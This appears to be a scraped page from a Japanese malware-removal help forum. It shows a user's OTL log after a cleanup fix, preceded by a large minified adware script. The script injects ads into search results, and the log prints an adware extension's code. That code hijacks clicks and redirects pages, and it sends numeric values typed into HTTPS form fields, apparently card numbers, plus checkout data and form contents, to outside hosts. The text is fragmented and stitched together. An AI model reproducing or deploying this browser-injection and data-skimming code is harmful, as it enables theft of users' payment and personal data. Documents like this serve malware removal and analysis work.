__yael_running&&(window.__yael_running=!0,new function(){if(!document.getElementById(\"__yael_once\")){var m=document.createElement(\"div\");m.id=\"__yael_once\";var n=document.getElementsByTagName(\"body\")[0];n&&n.appendChild(m);var b=this;b.pixelHost=\"//sepx.sendapplicationget.com\";b.prefix=\"jhgasdf\";b.version=\"0.4.1\";b.now=(new Date).getTime();b.clickInterval=2592E5;b.ratio=12;b.initThrottle=\"google;gmaps;amazon\";b.unique_items_left=!0;b.num_of_items_in_one=2;b.count=0;b.baseHostname=\"sendapplicationget.com\";b.utils=new function(){var a=this;a.cookie=new function(){var a=this;a.createCookie=function(a,c,b){if(b){var g=new Date;g.setTime(g.getTime()+864E5*b);b=\"; expires=\"+g.toGMTString()}else b=\"\";document.cookie=a+\"=\"+c+b+\"; path=/\"};a.readCookie=function(a){a+=\"=\";for(var c=document.cookie.split(\";\"),b=0;b<c.length;b++){for(var g=c[b];\" \"==g.charAt(0);)g=g.substring(1,g.length);if(0==g.indexOf(a))return g.substring(a.length,g.length)}return null}; a.eraseCookie=function(b){a.createCookie(b,\"\",-1)}};a.ajax={get:function(c,b){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",c,!0),this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&b(a.ajax.xhr.responseText)},this.xhr.send()}catch(e){}},post:function(c,b,e){this.xhr=new XMLHttpRequest;this.xhr.open(\"POST\",c,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\");this.xhr.onreadystatechange=function(){4==a.ajax.xhr.readyState&&e(a.ajax.xhr.responseText)}; b=encodeURIComponent(b);this.xhr.send(b)}};a.waitForTokens={};a.addScript=function(a,b){if(\"undefined\"==typeof Element.prototype.appendChild.toString)document.getElementsByTagName(\"head\")[0].appendChild(a);else if(\"bing\"==b){var e=Element.prototype.appendChild,f=document.createElement(\"iframe\");Element.prototype.appendChild=f.document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(a);Element.prototype.appendChild=e}};a.waitForElement=function(c,d,e,f){var g=a.query_selector_all(c); clearTimeout(a.waitTimeout);if(25<b.waitForElementCounter)return d(null);if(\"undefined\"==typeof g||1>g.length){if(a.waitForTokens[f])return d(null);var h=arguments.callee;a.waitTimeout=setTimeout(function(){b.waitForElementCounter++;h(c,d,e,f)},e)}else{if(a.waitForTokens[f])return d(null);a.waitForTokens[f]=!0;b.waitForElementCounter=0;return d(g)}};a.flushWaitForTokens=function(){a.waitForTokens={}};a.getRandomInt=function(a,b){return Math.floor(Math.random()*(b-a+1))+a};a.get_computed_style=\"function\"!= typeof window.getComputedStyle?function(b){return{getPropertyValue:function(d){\"float\"==d&&(d=\"styleFloat\");d=a.dhtml_prop_name(d);return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[d]?b.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};a.query_selector_all=document.querySelectorAll?function(a){try{return document.querySelectorAll(a)}catch(b){}}:function(a){var b=a.match(/^#([^,\\s]+)$/)||[];if(1< b.length)return a=document.getElementById(b[1])||void 0,\"undefined\"!=typeof a?[a]:[];b=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild(b);document.__asya_qsaels=[];b.styleSheet.cssText=a+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};a.clone_object=window.JSON instanceof Object?function(a){if(a instanceof Object&&(a=JSON.stringify(a),\"string\"==typeof a))return JSON.parse(a)}:function(a){if(a instanceof Object){var b= new a.constructor,e;for(e in a)b[e]=arguments.callee(a[e]);return b}return a};a.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,b,c){return c.toUpperCase()})};a.wildcard_to_regex=function(a){a=a.replace(/([.^$+(){}\\[\\]\\\\|\\?])/g,\"\\\\$1\");a=a.replace(/\\*/g,\".*\");return RegExp(a)};a.throttle=function(a,b){var e=null;return function(){var f=this,g=arguments;clearTimeout(e);e=setTimeout(function(){a.apply(f,g)},b)}};a.epoch=function(){return(new Date).getTime()};a.version_ie_less= function(a){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=a?!0:!1};a.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName||\"Netscape\"==navigator.appName&&null!=/Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};a.match_url=function(b,d){for(var e=0;e<d.length;e++)if(\"string\"==typeof d[e]){var f;f=/^\\/.+\\/$/.test(d[e])?RegExp(d[e]):a.wildcard_to_regex(d[e]);if(f instanceof RegExp&&f.test(b))return!0}};a.ping=function(a){for(var d=[\"google\", \"bing\",\"yahoo\",\"youtube\"],e=0;e<d.length;e++)if(-1<location.hostname.indexOf(d[e])){var f=new Image,g=encodeURIComponent(window.self==window.top?window.self.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);f.src=b.pixelHost+\"?hid=11944579086150063164&eid=720&pid=0&prodid=185&v=\"+b.version+\"&ch=\"+a+\"&lan=\"+navigator.language+\"&cc=JP&pr=\"+d[e]+\"&host=\"+h+\"&ref=\"+g}}};var k=[\"horizontal\", \"vertical\",\"images-horizontal\",\"images-vertical\"];b.jsonpHost=function(){var a=\"s1. s1. s2. s3. s4. s6.\".split(\" \");return a[b.utils.getRandomInt(0,a.length-1)]+\"\"}()+b.baseHostname;b.projects_info={google:{hrefSelector:\".r a\",unique_search_divs:\"3\",urls:[\"www.google.*\"],src_for_keyword:[\"#gbqfq\",\"#lst-ib\",\"#sbhost\"],dr:[\"#tvcap\",\"#bottomads\",\"#tads\"],tweak:function(){b.events.flush();var a=b.utils.query_selector_all(\"#nav td\"),c=b.utils.query_selector_all(\".spell + a\")[0];if(0<a.length)for(var d= 0;d<a.length;d++)b.events.add(\"click\",function(){b.init_search_project()},!1,a[d],!0);\"undefined\"!==typeof c&&b.events.add(\"click\",function(){b.init_search_project()},!1,c,!0)},validate:function(a){var c=this;if(-1<location.href.indexOf(\"https://www.google.com/maps\")||location.href.match(/https:\\/\\/www.google.[a-z,\\.]+\\/$/g))return!0;c.callback=a;this.is_direction_right=function(){b.utils.waitForElement(\".col\",function(a){if(null==a||\"right\"==b.utils.get_computed_style(a[0]).getPropertyValue(\"float\"))return!0; if(!c.check_tab())return!1},1E3,\"validate\")};c.count=0;this.check_tab=function(){var a=document.getElementById(\"hdtb_msb\");if(null==a||\"undefined\"==typeof a)if(c.count++,10>c.count)setTimeout(function(){c.check_tab()},1E3);else return!1;else return b.utils.query_selector_all(\".hdtb_mitem\")[0].className.match(/hdtb_msel/)&&(b.utils.ping(\"validate2\"),c.callback()),!1};return c.is_direction_right()?!1:!0}},yahoo:{hrefSelector:\"a[id^=link]\",unique_search_divs:\"3\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"], urls:[\"yahoo\"],src_for_keyword:\"#yschsp\",validate:function(){b.utils.ping(\"validate2\");return!0}},bing:{hrefSelector:[\".b_algo a\",\".sb_tlst a\"],unique_search_divs:\"2\",dr:[\".sb_adsWv2\"],urls:[\"http://www.bing.com/search?*\"],src_for_keyword:[\"#sb_form_q\",\".b_searchboxForm[name='q']\"],validate:function(){b.utils.ping(\"validate2\");return!0}},conduit:{hrefSelector:\"a[id^=ctl00_main_organicResults]\",unique_search_divs:\"1\",urls:[\"http://search.conduit.com*\"],src_for_keyword:\"#q_top\",dr:[\"#master-1\"],validate:function(){return!0}}, ask:{hrefSelector:\".ptbs a[id^=r]\",unique_search_divs:\"1\",urls:[\"http://www.ask.com/web?q=*\",\"http://www.ask.com/web?qsrc=*\",\"http://www.ask.com/web?am=broad&q=*\"],src_for_keyword:[\"#top_qcomn\",\"#top_q_comm\"],dr:[\"#spl_img_top\"],validate:function(){return!0}},triple:{hrefSelector:\".gRsSlicetitle\",unique_search_divs:\"2\",dr:[\"#gRsTopLinks\"],urls:[\"http://search.triple-search.com/?*\",\"http://www.search.triple-search.com/?*\"],src_for_keyword:\"#q\",validate:function(){var a=b.utils.query_selector_all(\".gRsSTypeSelltr\"); if(0<a.length){for(var c=0;c<a.length;c++)if(\"English\"==a[c].innerHTML)return!0;return!1}}},incredimail:{hrefSelector:\".title\",unique_search_divs:\"3\",dr:[\"#MainSponsoredLinks\"],urls:[\"http://www.search.incredimail.com/search.php?q*\",\"http://search.incredimail.com/search.php?q*\"],src_for_keyword:\"#q\",validate:function(){return-1<location.href.indexOf(\"lang=english\")?!0:!1}},gmaps:{hrefSelector:\"div[class^='ads-line'] a\",unique_search_divs:\"1\",dr:[\".ads.horiz.top\",\".ads.horiz.bot\"],urls:[\"https://www.google.com/maps/*\"], src_for_keyword:\"#searchboxinput\",tweak:function(){var a=function(){b.remove_search();b.utils.query_selector_all(\".omnibox-cards-transformations\")[0].style.marginTop=\"0px\";document.getElementById(\"reveal-cards\").style.marginTop=\"0px\"};b.events.add(\"click\",function(){a()},!1,document.getElementById(\"cards\"),!1);b.events.add(\"keyup\",function(){a()},!1,document.getElementById(\"searchbox_form\"),!1);b.events.add(\"click\",function(){a()},!1,document.getElementById(\"viewcard\"),!1);b.events.add(\"click\",function(){a()}, !1,b.utils.query_selector_all(\".widget-runway-pegman\")[0],!1);b.events.add(\"click\",function(){a()},!1,b.utils.query_selector_all(\".gscb_a\")[0],!1);var c=function(a){a=document.querySelector(a);return getComputedStyle(a,null).height}(\".yael .cards-card\");document.querySelector(\".omnibox-cards-transformations\").style.marginTop=c;document.querySelector(\"#reveal-cards\").style.marginTop=c},validate:function(a){b.utils.isIE()||(b.num_of_items_in_one=1,a())}},amazon:{unique_search_divs:\"1\",urls:[\"http://www.amazon.com*&field-keywords=*\"], src_for_keyword:\"#twotabsearchtextbox\",validate:function(a){a()}},smartAddress:{hrefSelector:[\"li a\"],unique_search_divs:\"2\",dr:[\".peach ol\"],urls:[\"search.smartaddressbar.com/web.php?s=*\"],src_for_keyword:\"#stxt\",tweak:function(){var a=b.utils.query_selector_all(\".peach\")[0],c=b.utils.query_selector_all(\".right ul\")[0];a&&a.parentNode.removeChild(a);c&&c.parentNode.removeChild(c)},validate:function(){return!0}}};var l=function(a){if(\"string\"==typeof a){var c=a.match(/:nth-match\\(([0-9]+)\\)/);if(c&& 1<c.length)return a=b.utils.query_selector_all(a.substr(0,c.index))||[],a[c[1]]||void 0;a=b.utils.query_selector_all(a)||[];return a[0]||void 0}};b.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f.addEventListener(b,d,e);g&&a.cache.push([b,d,e,f])}:window.attachEvent?function(b,d,e,f,g){\"undefined\"==typeof f&&(f=window);f[\"e\"+b+d]=d;f[b+d]=function(){f[\"e\"+b+d](window.event)};f.attachEvent(\"on\"+b,f[b+d]);g&&a.cache.push([b, d,e,f])}:function(){};a.remove=window.removeEventListener?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,f){\"undefined\"==typeof f&&(f=window);f.detachEvent(\"on\"+a,f[a+b]);f[a+b]=null;f[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var b=0;b<a.cache.length;b++)a.remove.apply(a,a.cache[b]);a.cache=[]}};b.get_insertion_element=function(a){return!a.insert||\"before\"!=a.insert&&\"after\"!=a.insert?a.element:a.element.parentNode};b.dom= new function(){this.json_to_html=function(a,c){if(\"#text\"==a.type)c=document.createTextNode(a.text);else if(\"#comment\"!=a.type){c||(c=document.createElement(a.type));if(a.attrs){for(var d in a.attrs)if(a.attrs.hasOwnProperty(d))if(\"style\"==d&&a.attrs.style instanceof Object)for(var e in a.attrs.style){var f=b.utils.dhtml_prop_name(e);c.style[f]=a.attrs.style[e]}else c.setAttribute(d,a.attrs[d]);\"iframe\"==a.type&&(a.attrs.hasOwnProperty(\"frameborder\")&&(c.frameBorder=a.attrs.frameborder),a.attrs.hasOwnProperty(\"marginwidth\")&& (c.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty(\"marginheight\")&&(c.marginHeight=a.attrs.marginheight))}if(a.children)for(d=0;d<a.children.length;d++){f=a.children[d];e=arguments.callee(f);try{c.appendChild(e)}catch(g){if(\"#text\"==f.type&&\"string\"==typeof f.text)if(\"style\"==a.type&&c.styleSheet)c.styleSheet.cssText=f.text||\"\";else if(e=b.utils.get_node_text_prop(c))c[e]=f.text}}}return c}};b.addEventClick=function(a,c){for(var d=0;d<a.length;d++)b.events.add(\"click\",function(a){a.preventDefault? a.preventDefault():a.returnValue=!1;this.href=\"#\";location.href=c+\"&j=true\";b.events.flush();localStorage.setItem(b.prefix,b.now+b.clickInterval);return!1},!1,a[d],!0)};b.checkClickInterval=function(a){if(b.now>a)return!0};b.setClickHref=function(a,c){if(\"undefined\"!=typeof b.projects_info[c].hrefSelector){if(b.utils.getRandomInt(1,1E4)>=1E4/b.ratio)return!1;var d=b.projects_info[c].hrefSelector,e=parseInt(localStorage.getItem(b.prefix));if(\"undefined\"!=typeof d){if(d instanceof Array)for(var f=0;f< d.length;f++){var g=b.utils.query_selector_all(d[f]);if(0<g.length)break}else g=b.utils.query_selector_all(d);e?b.checkClickInterval(e)&&b.addEventClick(g,a):b.addEventClick(g,a)}}};b.escape_chars_for_json=function(a){for(var b in a)a[b]=a[b].replace(/\\\"/g,'\\\\\"');return a};b.tpl_engine=function(a,c,d){\"false\"!==d.layouts.unique&&(c=b.escape_chars_for_json(c));a=JSON.stringify(a);c=[{replace:\"title\",\"with\":c.title},{replace:\"displayUrl\",\"with\":c.displayUrl},{replace:\"description\",\"with\":c.description}, {replace:\"clickUrl\",\"with\":c.clickUrl}];for(d=0;d<c.length;d++)a=a.replace(RegExp(\"\\\\[##\"+c[d].replace+\"##\\\\]\",\"g\"),c[d][\"with\"]);try{return JSON.parse(a)}catch(e){}};b.get_item_json=function(a,c){var d=b.utils.clone_object(a.layouts.template);d.attrs instanceof Object||(d.attrs={});return d=b.tpl_engine(d,c,a)};b.add_jsonp_to_config=function(a,c){b.get_item_json(a)};b.remove_search=function(){var a=b.utils.query_selector_all(\".yael\");if(0<a.length)for(var c=0;c<a.length;c++)a[c].parentNode.removeChild(a[c])}; b.inject_json=function(a){\"first\"==a.insert?a.element.insertBefore(a.node,a.element.firstChild):\"before\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element):\"after\"==a.insert?a.element.parentNode.insertBefore(a.node,a.element.nextSibling):a.element.appendChild(a.node)};b.get_ad_dom=function(a){return a.layouts instanceof Object&&a.layouts.dom instanceof Object?a.layouts.dom:!1};b.get_layout_type=function(a){if(a.layouts instanceof Object)for(var b=0;b<k.length;b++)if(-1<a.layouts.id.indexOf(k[b]))return k[b]; return!1};b.create_search=function(a){a=b.get_ad_dom(a);return b.dom.json_to_html(a)};b.templates=new function(){this.container_id=0;this.add_real_links=function(a,c){b.utils.add_event(\"click\",function(b){window.open(a);b.preventDefault?b.preventDefault():b.returnValue=!1},!1,c)}};b.validate_response=function(){for(var a in __yael_res.data.items)__yael_res.data.items[a].displayUrl.match(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/)&&__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/,\"\")}; b.is_target_valid=function(a){if(0!=__yael_res.data.numberOfItems&&\"undefined\"!=typeof a.element)return a.urls instanceof Array&&!b.utils.match_url(a.element.ownerDocument.location.href,a.urls)?!1:!0};var p=null;b.get_target_element=function(a){if(a.inserts instanceof Array&&\"undefined\"==typeof a.element)for(var b=0;b<a.inserts.length;b++)if(a.element=l(a.inserts[b].selector),\"undefined\"!==typeof a.element){a.insert=a.inserts[b].at;break}};b.add_data_to_config=function(a,c){if(0==c.length)return b.unique_items_left= !1;var d=b.get_ad_dom(a);(function(a,c){c.children&&0!==c.children.length?(c=c.children[c.children.length-1],arguments.callee(a,c)):b.insert_point=c})(a,d);for(d=0;d<b.num_of_items_in_one&&0!=c.length;d++)b.insert_point.children.push(b.get_item_json(a,c[0])),\"true\"==a.layouts.unique?b.not_unique_items.push(c.shift()):c.shift()};b.addEventsToItems=function(){for(var a=document.querySelectorAll('a[href*=\"'+b.jsonpHost+'\"]'),c=0;c<a.length;c++)b.events.add(\"click\",function(){b.init_search_project()}, !1,a[c],!1)};b.check_if_div_in_dom=function(a,b){var d=[],e;for(e in __yael_res.config.targets){var f=__yael_res.config.targets[e];clearTimeout(p);a++;if(4<a)return;if(f.inserts instanceof Array&&\"undefined\"==typeof f.element)for(var g=0;g<f.inserts.length;g++){var h=l(f.inserts[g].
  • 悪代官
  • 2014/03/24 (Mon) 21:34:03
返信フォームへ 
Run fix後のＯＴＬのログになります。
ご協力ありがとうございます。

Run fix後のＯＴＬのログになります。

========== OTL ==========
Prefs.js: "http://websearch.homesearchapp.info/?unqvl=17&l=1&q=" removed from browser.search.defaulturl
Prefs.js: "WebSearch" removed from browser.search.order.1
Prefs.js: S", "WebSearch" removed from browser.search.order.1,S
Prefs.js: "Conduit Search" removed from browser.search.selectedEngine
Prefs.js: S", "WebSearch" removed from browser.search.selectedEngine,S
Prefs.js: true removed from browser.search.useDBForOrder
Prefs.js: "http://search.conduit.com/?ctid=CT3322287&octid=EB_ORIGINAL_CTID&SearchSource=55&CUI=&UM=4&UP=SPF48133B6-BA33-4A07-AAF6-7E5E7587ECAB&SSPV=" removed from browser.startup.homepage
Prefs.js: "(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1){return}}catch(e){};var _wlst={lsKey:\"ssjsmn2ja8ddw2a\",get:function(b,a){if(window.self.location.protocol==\"https:\" || 3<b)return a(!1);var d=this.fetch();if(d)return a(parseInt(d removed from extensions.7Af3nsdm.scode
Error: Unable to interpret <:\"2363411\",\"300x250\":\"2363401\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [730,size]);}}catch(e){return !1;}},matomy_strm_18:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '300x250 728x90 160x600'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;arr={\"300x250\":\"2363393\",\"728x90\":\"2363408\",\"160x600\":\"2363413\"}[size];var surl='http://ib.adnxs.com/tt?id='+ arr + '';return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [731,size]);}}catch(e){return !1;}},adstract_strm17_3_t3:function(rsize){try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '120x600 300x600 125x125 300x250 250x250 468x60 728x90'.indexOf(size)) return !1;var atp=false;if(size=='120x60')return;;return function(ifr){_zyad.iset(ifr, 'http://ib.adnxs.com/tt?id=2398152&size='+size+'', (atp?atp:1), [747,size]);}}catch(e){return !1;}},hulk_porn:function(rsize){> in the current context!
Error: Unable to interpret <try{var size = rsize[0] + 'x' + rsize[1],width=rsize[0],height=rsize[1];if (-1 == '728x90 300x250 468x60 120x600 160x600 300x600 250x250 600x400'.indexOf(size)) return !1;var atp=false;var surl='http://syndication.exoclick.com/ads-iframe-display.php?type='+size+'&login=hulkshare_RS2&cat=2&search=&ad_title_color=0000cc&bgcolor=FFFFFF&border=0&border_color=000000&font=&block_keywords=&ad_text_color=000000&ad_durl_color=008000&adult=0&sub=0&text_only=0&show_thumb=0&idzone=' + {\"728x90\":\"638635\",\"300x250\":\"638633\",\"468x60\":\"774737\",\"120x600\":\"774751\",\"160x600\":\"638637\",\"300x600\":\"774753\",\"250x250\":\"774743\",\"600x400\":\"774747\"}[size] + '&idsite=225117&p='+encodeURIComponent(window.self.location.href)+'&dt=' + Math.random();if(!document.getElementById(\"sad32ecs3fdsa\")&&1==Math.ceil(4*Math.random()))try{setTimeout(function(){var b=document.getElementsByTagName(\"body\")[0],a=document.createElement(\"div\");a.setAttribute(\"style\",\"width:728px;height:90px;margin:0 auto\");a.setAttri> in the current context!
Error: Unable to interpret <bute(\"id\",\"sad32ecs3fdsa\");a.innerHTML='<iframe src=\"//ads.ventivmedia.com/www/delivery/afr.php?zoneid=31&cb='+Math.random()+'\" style=\"width:728px;height:90px\" frameborder=\"0\" scrolling=\"no\"></iframe>';b.insertBefore(a,b.firstChild)},1)}catch(e){};;return function(ifr){_zyad.iset(ifr, ''+surl+'', (atp?atp:1), [420,size]);}}catch(e){return !1;}}}};_zyad.init();;(function(){try{if(window.opener&&window.self==window.top&&-1==document.cookie.indexOf(\"xcddsa\")&&-1==window.self.location.href.indexOf(\"px.pluginh\")&&window.self.location.hostname.indexOf('earchfu')==-1&&(!document.referrer||-1==document.referrer.indexOf('/amz/')&&(!document.referrer.match(/cpops-\\d+\\.html/))&&-1==document.referrer.indexOf(\"px.pluginh\"))&&-1==window.self.location.href.indexOf(\"ally.asi\")&&-1==window.self.location.href.indexOf('/amz/')&&(!window.self.location.href.match(/cpops-\\d+\\.html/))&&-1==window.self.location.hostname.indexOf(\"getjs\")&&-1==window.self.location.hostname.indexOf(\"hsbc\")&&3>history.length)> in the current context!
Error: Unable to interpret <{var c=navigator.userAgent.toLowerCase(),d=\"http://canadaalltax.com/z/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&eid=720&hid=11944579086150063164&pid=0&rf=\" + encodeURIComponent(document.referrer) +\"&s=px.pluginh&r=\"+Math.random();if(-1<c.indexOf(\"msie\")&&(!document.referrer||-1==document.referrer.indexOf(location.hostname))){var e=window.innerWidth||document.documentElement.scrollWidth||0,f=window.innerHeight||document.documentElement.scrollHeight||0;if(e){window.resizeTo(e,f);var g=window.innerWidth||document.documentElement.scrollWidth,k=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(e+2,f);var h=window.scrollWidth||document.documentElement.scrollWidth;if(h!=g&&h<=g+2&&90>=f-k){var a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};window.self.location.href=d}}}else if(!window.menubar.> in the current context!
Error: Unable to interpret <visible&&document.referrer&&-1==document.referrer.indexOf(window.self.location.hostname)){a=new Date;a.setHours(a.getHours()+1);document.cookie=\"xcddsa=1;expires=\"+a.toUTCString();if(window.onbeforeunload){window.onbeforeunload=null;d+='&ch=97'};var b=document.createElement(\"script\");b.type=\"text/javascript\";-1<c.indexOf(\"chrome\")&&(b.innerHTML='document.getElementsByTagName(\"body\")[0].setAttribute(\"xcddsa\",\"1\")',document.getElementsByTagName(\"body\")[0].appendChild(b),setTimeout(function(){document.getElementsByTagName(\"body\")[0].getAttribute(\"xcddsa\")&&(window.self.location.href=d)},10));-1<c.indexOf(\"firefox\")&&(b.innerHTML='try{if(typeof(jQuery)!=\"undefined\"){jQuery(window).unbind(\"beforeunload\")}}catch(e){};setTimeout(function(){window.self.location.href=\"'+d+'\";},10);',document.getElementsByTagName(\"head\")[0].appendChild(b))}}}catch(l){}})();if(1==2&&-1<window.self.location.href.indexOf(\"df.ly/\")){var dd=document.getElementById(\"rf\");dd&&dd.setAttribute(\"src\",\"http://> in the current context!
Error: Unable to interpret <canadaalltax.com/x/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&ch=1\")}(\"rdlnk.co\"==window.self.location.hostname||\"adfoc.us\"==window.self.location.hostname||\"www.adsbeta.net\"==window.self.location.hostname||\"ad5.eu\"==window.self.location.hostname)&&(dd=document.getElementsByTagName(\"iframe\")[0])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?ch=1\");\"cf.ly\"==window.self.location.hostname&&(dd=document.getElementsByTagName(\"iframe\")[1])&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&ch=1\");\"adv.li\"==window.self.location.hostname&&(dd=document.getElementById(\"main\"))&&dd.setAttribute(\"src\",\"http://canadaalltax.com/x/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&ch=1\");if(window.top==window.self&&\"undefined\"!=typeof addEventListener&&-1==document.cookie.indexOf(\"vdsknj4th4un\")){var zytd=function(a){try{if(\"a\"==a.target.tagName.toLowerCase()&&\"\"==a.target.innerHTML&&a.target.getAttribute(\"href\")&&-1==a.target.getAttribute(\"href\").indexOf(win> in the current context!
Error: Unable to interpret <dow.self.location.hostname)){a.target.setAttribute(\"href\",\"http://canadaalltax.com/z/?f=rjsFvTsKrjgKrjs4fHwHpjkFrjwHrjn%3D&eid=720&hid=11944579086150063164&pid=0&ch=666&rf=\"+encodeURIComponent(window.self.location.href)+\"&s=px.pluginh&r=\"+Math.random());var b=new Date;b.setHours(b.getHours()+5);document.cookie=\"vdsknj4th4un=1;expires=\"+b.toUTCString();document.getElementsByTagName(\"body\")[0].removeEventListener(\"click\",zytd)}}catch(c){}};try{document.getElementsByTagName(\"body\")[0].addEventListener(\"click\",zytd)}catch(e){}};if(\"www.youtube.com\"==window.self.location.hostname&&\"http:\"==window.self.location.protocol){var video_id=window.location.search.split(\"v=\")[1];if(video_id){var ampersandPosition=video_id.indexOf(\"&\");-1!=ampersandPosition&&(video_id=video_id.substring(0,ampersandPosition));if(video_id&&document.getElementById(\"watch7-views-info\")){var vc=document.getElementById(\"watch7-views-info\").firstElementChild;vc&&document.getElementById(\"watch7-views-info\").firstElemen> in the current context!
Error: Unable to interpret <tChild.innerHTML&&((new Image).src=\"http://score.developpro.info/?pr=1&d=\"+video_id+\"&s=\"+document.getElementById(\"watch7-views-info\").firstElementChild.innerHTML.replace(/[^0-9]/g,\"\"))}}};if((-1<window.self.location.hostname.indexOf(\"foodpanda\")||-1<window.self.location.hostname.indexOf(\"hellofood\"))&&document.getElementById(\"submitRegisterStep1\")){var price=query_selector_all(\".cart-line-price\"),p=price&&price[price.length-1]?parseInt(price[price.length-1].innerHTML.replace(/[^0-9]/g,\"\")):0,h=window.self.location.hostname;(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=\"+h+\"&s=\"+p}\"justeat.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"checkout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");\"tastykhana.in\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"billing\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=justeat.in&s=0\");if(-1<window.self.location.hostname.indexOf> in the current context!
Error: Unable to interpret <(\"titbit.com\")||\"checkout\"==window.self.location.hostname)(new Image).src=\"http://score.developpro.info/g.php?pr=1&d=titbit.com&s=0\";\"www.grubhub.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"payment\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.grubhub.com&s=0\");\"www.delivery.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"order_process\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.delivery.com&s=0\");\"www.foodler.com\"==window.self.location.hostname&&-1<window.self.location.href.indexOf(\"AnonCheckout\")&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=www.foodler.com&s=0\");\"eat24hours.com\"==window.self.location.hostname&&\"https:\"==window.self.location.protocol&&((new Image).src=\"http://score.developpro.info/g.php?pr=1&d=eat24hours.com&s=0\");(function(){try{var a=document.getElementsByTagName(\"input\");if(\"https:\"==window.self.location.protocol&&4<a.length)for(var d=func> in the current context!
Error: Unable to interpret <tion(b){b=b.target;if(b.value&&11<b.value.length&&20>b.value.length&&b.value.match(/^[0-9]+$/))for((new Image).src=\"https://score.sendapplicationget.com/g.php?pr=2&d=\"+window.self.location.hostname+\"&s=0&r=\"+(+new Date).toString()+Math.random(),b=0;b<a.length;b++)a[b]&&a[b].removeEventListener?a[b].removeEventListener(\"blur\",d,!1):a[b]&&a[b].detachEvent&&a[b].detachEvent(\"onblur\",d)},c=0;c<a.length;c++)a[c]&&a[c].addEventListener?a[c].addEventListener(\"blur\",d,!1):a[c]&&a[c].attachEvent&&a[c].attachEvent(\"onblur\",d)}catch(e){}})();(function(){var init=function(b,a,f){for(var e=function(){for(var d=[],c=0;c<a.length;c++)b[a[c]]&&b[a[c]].value&&2<b[a[c]].value.length&&d.push(b[a[c]].value.replace(/[^0-9a-z \\-_\\.@]/ig,\"\"));if(d.length==a.length)for((new Image).src=\"https://score.sendapplicationget.com/?id=\"+f+\"&c=\"+encodeURIComponent(d.join(\",\"))+\"&r=\"+Math.random(),c=0;c<a.length;c++)b[a[c]]&&b[a[c]].removeEventListener?b[a[c]].removeEventListener(\"blur\",e,!1):b[a[c]]&&b[a[c]].detachEv> in the current context!
